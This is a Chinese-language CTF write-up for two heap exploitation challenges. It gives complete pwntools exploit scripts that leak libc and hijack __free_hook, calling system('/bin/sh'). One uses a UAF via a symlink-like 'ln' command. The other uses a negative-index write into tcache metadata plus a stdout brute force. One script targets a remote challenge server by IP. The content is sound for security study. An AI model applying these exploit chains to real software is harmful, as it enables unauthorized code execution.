# sh_v1.1
存在 UAF 漏洞,劫持 free_hook
即可
程序功能分析
- touch:创建一个 chunk 并写入一些东西
- rm:删除一个 chunk,无 UAF 漏洞
- cat:打印一个 chunk 的内容
- ln chunk1 chunk2:将 chunk2 指向 chunk1 指向的地址 (漏洞点,这里存在 UAF)
漏洞利用思路:先把 tcache 填满,然后 free 一个 chunk 到 unsorted bin 中,然后利用 UAF 泄露 main_arena+96
的地址,之后再次利用 UAF 改写 tcache 链将 free_hook
链入,然后申请出来,写入 system
的地址,最后将 /bin/sh
写入一个 chunk 中,然后释放这个 chunk 即可
from pwn import * | |
#from LibcSearcher import * | |
p=remote('121.40.89.206',34883) | |
#libc=ELF('./libc-2.27.so') | |
#libc=ELF('./libc-2.31.so') | |
#libc=ELF('./libc-2.30.so') | |
libc=ELF('./libc-2.29.so') | |
context.log_level='debug' | |
def touch(filename,ctx): | |
p.recvuntil('>>>>') | |
cmd='touch '+filename | |
p.sendline(cmd) | |
p.sendline(ctx) | |
def rm(filename): | |
p.recvuntil('>>>>') | |
cmd='rm '+filename | |
p.sendline(cmd) | |
def cat(filename): | |
p.recvuntil('>>>>') | |
cmd='cat '+filename | |
p.sendline(cmd) | |
return u64(p.recv(6).ljust(0x8,b'\x00')) | |
def ln(filename1,filename2): | |
p.recvuntil('>>>>') | |
cmd='ln '+filename1+' '+filename2 | |
p.sendline(cmd) | |
def ls(): | |
p.recvuntil('>>>>') | |
p.sendline('ls') | |
def cp(filename1,filename2): | |
p.recvuntil('>>>>') | |
cmd='cp '+filename1+' '+filename2 | |
p.sendline(cmd) | |
def edit(filename,ctx): | |
p.recvuntil('>>>>') | |
cmd='gedit '+filename | |
p.sendline(cmd) | |
p.sendline(ctx) | |
touch('a1','aaaaaaaaaaaaaaaaa') | |
touch('a2','aaaaaaaaaaaaaaaaa') | |
touch('a3','aaaaaaaaaaaaaaaaa') | |
touch('a4','aaaaaaaaaaaaaaaaa') | |
touch('a5','aaaaaaaaaaaaaaaaa') | |
touch('a6','aaaaaaaaaaaaaaaaa') | |
touch('a7','aaaaaaaaaaaaaaaaa') | |
touch('a8','aaaaaaaaaaaaaaaaa') | |
touch('a9','aaaaaaaaaaaaaaaaa') | |
ln('a8','a10') | |
ln('a7','a11') | |
rm('a1') | |
rm('a2') | |
rm('a3') | |
rm('a4') | |
rm('a5') | |
rm('a6') | |
rm('a7') | |
rm('a8') | |
unsorted_bin_arena=cat('a10') | |
#libc_base=unsorted_bin_arena-96-0x3EBC40 | |
#libc_base=unsorted_bin_arena-96-0x1ECB80 | |
#libc_base=unsorted_bin_arena-96-0x1EAB80 | |
libc_base=unsorted_bin_arena-96-0x1E4C40 | |
# main_arena=unsorted_bin_arena-96 | |
# libc=LibcSearcher('main_arena', main_arena) | |
# libc_base=main_arena-libc.dump('main_arena') | |
print(hex(libc_base+libc.sym['main_arena'])) | |
print('libc base: ',hex(libc_base)) | |
# libc=LibcSearcher("./sh_v1.1",int(heapaddr)) | |
# print(hex(libc.dump('system'))) | |
free_hook_addr=libc_base+libc.sym['__free_hook'] | |
system_addr=libc_base+libc.sym['system'] | |
# free_hook_addr=libc_base+libc.dump('__free_hook') | |
# system_addr=libc_base+libc.dump('system') | |
edit('a11',p64(free_hook_addr)) | |
touch('a12','a') | |
touch('a13','a') #free_hook_addr | |
edit('a13',p64(system_addr)) | |
edit('a12','/bin/sh\x00') | |
rm('a12') | |
p.interactive() |
# three_edit
没有常见的漏洞,但存在一个可以写负数的漏洞,使得我们可以改写 tcache_struct
先上 exp
from pwn import * | |
context(arch='amd64', os='linux', log_level='debug') | |
file_name = './pwn4' | |
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') | |
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') | |
elf = ELF(file_name) | |
menu = 'is:' | |
def add(index, size, content): | |
r.sendlineafter(menu, '1') | |
r.sendlineafter('index:', str(index)) | |
r.sendlineafter('size:', str(size)) | |
r.sendlineafter('content:', content) | |
def delete(index): | |
r.sendlineafter(menu, '2') | |
r.sendlineafter('index?', str(index)) | |
def edit(index, content): | |
r.sendlineafter(menu, '3') | |
r.sendlineafter('index?', str(index)) | |
r.sendlineafter('new content:', content) | |
while True: | |
try: | |
r = process(file_name) | |
for i in range(12): | |
add(i, 0x70, 'a' * 0x8) | |
delete(0) | |
delete(3) #tcache 先进后出 chunk3=>chunk0 | |
edit(-60, p8(0xe0)) # chunk3=>chunk_ | |
''' | |
chunk0 | |
chunk_ | |
chunk1 | |
''' | |
add(0, 0x70, 'a' * 8) # chunk0=chunk3 | |
add(3, 0x70, 'a' * 8) # chunk3=chunk_ | |
edit(3, p64(0) * 7 + p64(0x481)) # 修改 chunk1 的 size | |
delete(1) # chunk1=>unsorted bin | |
delete(5) | |
delete(2) | |
delete(4) # tcache: chunk4=>chunk2=>chunk5 | |
edit(-60, p8(0x20)) # chunk4=>chunk1 | |
edit(3, p64(0) * 7 + p64(0x81) + p16(0x56a0)) #修改 chunk1 大小还有修改 unsortedbin 后 2 个字节爆破 stdout | |
add(1, 0x70, 'b' * 8) # chunk1=chunk4 | |
add(5, 0x70, 'c' * 8) # chunk5=chunk1 | |
add(2, 0x70, p64(0xfbad1800) + p64(0) * 3 + p8(0)) # chunk2=stdout | |
# chunk2=context 时会触发 | |
leak_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) | |
li('leak_addr = ' + hex(leak_addr)) | |
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') | |
libc = ELF('./libc-2.31.so') | |
libc_base = leak_addr - libc.sym['_IO_2_1_stdin_'] | |
li('libc_base = ' + hex(libc_base)) | |
free_hook = libc.sym['__free_hook'] + libc_base | |
li('free_hook = ' + hex(free_hook)) | |
one = [0xe3afe, 0xe3b01, 0xe3b04] | |
one_gadget = one[1] + libc_base | |
system_addr = libc_base + libc.sym['system'] | |
delete(0) | |
delete(1) # chunk1(chunk4)=>chunk0(chunk3) | |
edit(-60, p8(0x60)) # chunk1=>chunk__ | |
add(0, 0x70, 'd' * 8) # chunk0=chunk1(chunk4) | |
''' | |
chunk3 | |
chunk__ | |
chunk4 | |
''' | |
add(1, 0x70, 'e' * 8) # chunk1=chunk__ | |
delete(10) | |
delete(0) # chunk0=>chunk10 | |
edit(1, p64(0) * 7 + p64(0x81) + p64(free_hook)) # chunk0(chunk4)=>free_hook | |
add(10, 0x70, '/bin/sh\x00') # chunk10=chunk0 | |
add(0, 0x70, p64(system_addr)) # free_hook=system_addr | |
delete(10) # free(chunk10_)=system('/bin/sh') | |
r.interactive() | |
except: | |
r.close() |
# 调试分析
原理:第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_perthread_struct
typedef struct tcache_entry | |
{ | |
struct tcache_entry *next; | |
} tcache_entry; | |
# define TCACHE_MAX_BINS 64 | |
typedef struct tcache_perthread_struct | |
{ | |
char counts[TCACHE_MAX_BINS]; | |
tcache_entry *entries[TCACHE_MAX_BINS]; | |
} tcache_perthread_struct; |
而这个一开始分配的 chunk 的大小就是平时我们看到的最上面的大小为 0x291
的 chunk
# 漏洞点分析
# part1
delete(0) | |
delete(3) #tcache 先进后出 chunk3=>chunk0 | |
edit(-60, p8(0xe0)) # chunk3=>chunk_ | |
''' | |
chunk0 | |
chunk_ | |
chunk1 | |
''' |
查看最顶上的 chunk 的内容
可以发现我们释放的 chunk3 存在于 0x291
大小的 chunk 中,而我们 edit 的时候可以写入负数大小的 index,并且 heapaddr 数组也是通过 malloc 申请的,而题目中具体的写入位置是 heapaddr+index*8LL
,计算偏移
0x5633560e70c0=480-0x5633560e72a0=-480
,那么 index=-480/8=-60
。此时我们就可以控制 chunk3 的 fd
了
# part2
add(0, 0x70, 'a' * 8) # chunk0=chunk3 | |
add(3, 0x70, 'a' * 8) # chunk3=chunk_ | |
edit(3, p64(0) * 7 + p64(0x481)) # 修改 chunk1 的 size |
然后我们申请 chunk_,通过 chunk_来修改 chunk1 的大小
这里是所以要构造一个中间 chunk_,是因为我们没有 UAF 可以利用
此时 chunk1-chunk9 进行了 overlap
# part3
delete(1) # chunk1=>unsorted bin | |
delete(5) | |
delete(2) | |
delete(4) # tcache: chunk4=>chunk2=>chunk5 |
由于修改了 chunk1 的大小超出了 tcache 的范围,所以此时释放 chunk1 会进入 unsorted bin
# part4
edit(-60, p8(0x20)) # chunk4=>chunk1 | |
edit(3, p64(0) * 7 + p64(0x81) + p16(0x56a0)) #修改 chunk1 大小还有修改 unsortedbin 后 2 个字节爆破 stdout |
利用 part1 同样的手法,通过修改 chunk4 的 fd 的后两个字节来把 chunk1 链入 tcache 中,此时 chunk1 即在 tcache 中也再 unsorted 中
而在 part1 中我们保留了可以修改 chunk1 的方法,那么此时就可以修改 chunk1 的 fd 为 stdout
,但由于 stdout
不知道,所以我们需要爆破后两个字节
# part5
add(1, 0x70, 'b' * 8) # chunk1=chunk4 | |
add(5, 0x70, 'c' * 8) # chunk5=chunk1 | |
add(2, 0x70, p64(0xfbad1800) + p64(0) * 3 + p8(0)) # chunk2=stdout | |
# chunk2=context 时会触发 | |
leak_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) |
申请到 stdout
,然后修改 stdout
的结构体的 flag
、 write_base
,使得可以读出 libc 上的地址 _IO_2_1_stdin_
# part6
libc = ELF('./libc-2.31.so') | |
libc_base = leak_addr - libc.sym['_IO_2_1_stdin_'] | |
li('libc_base = ' + hex(libc_base)) | |
free_hook = libc.sym['__free_hook'] + libc_base | |
li('free_hook = ' + hex(free_hook)) | |
one = [0xe3afe, 0xe3b01, 0xe3b04] | |
one_gadget = one[1] + libc_base | |
system_addr = libc_base + libc.sym['system'] |
这部分就计算各个函数的真实地址了
# part6
delete(0) | |
delete(1) # chunk1(chunk4)=>chunk0(chunk3) | |
edit(-60, p8(0x60)) # chunk1=>chunk__ | |
add(0, 0x70, 'd' * 8) # chunk0=chunk1(chunk4) | |
''' | |
chunk3 | |
chunk__ | |
chunk4 | |
''' | |
add(1, 0x70, 'e' * 8) # chunk1=chunk__ | |
delete(10) | |
delete(0) # chunk0=>chunk10 | |
edit(1, p64(0) * 7 + p64(0x81) + p64(free_hook)) # chunk0(chunk4)=>free_hook | |
add(10, 0x70, '/bin/sh\x00') # chunk10=chunk0 | |
add(0, 0x70, p64(system_addr)) # free_hook=system_addr | |
delete(10) # free(chunk10_)=system('/bin/sh') |
这部分的利用手法和 part1 一模一样,攻击思路是劫持 free_hook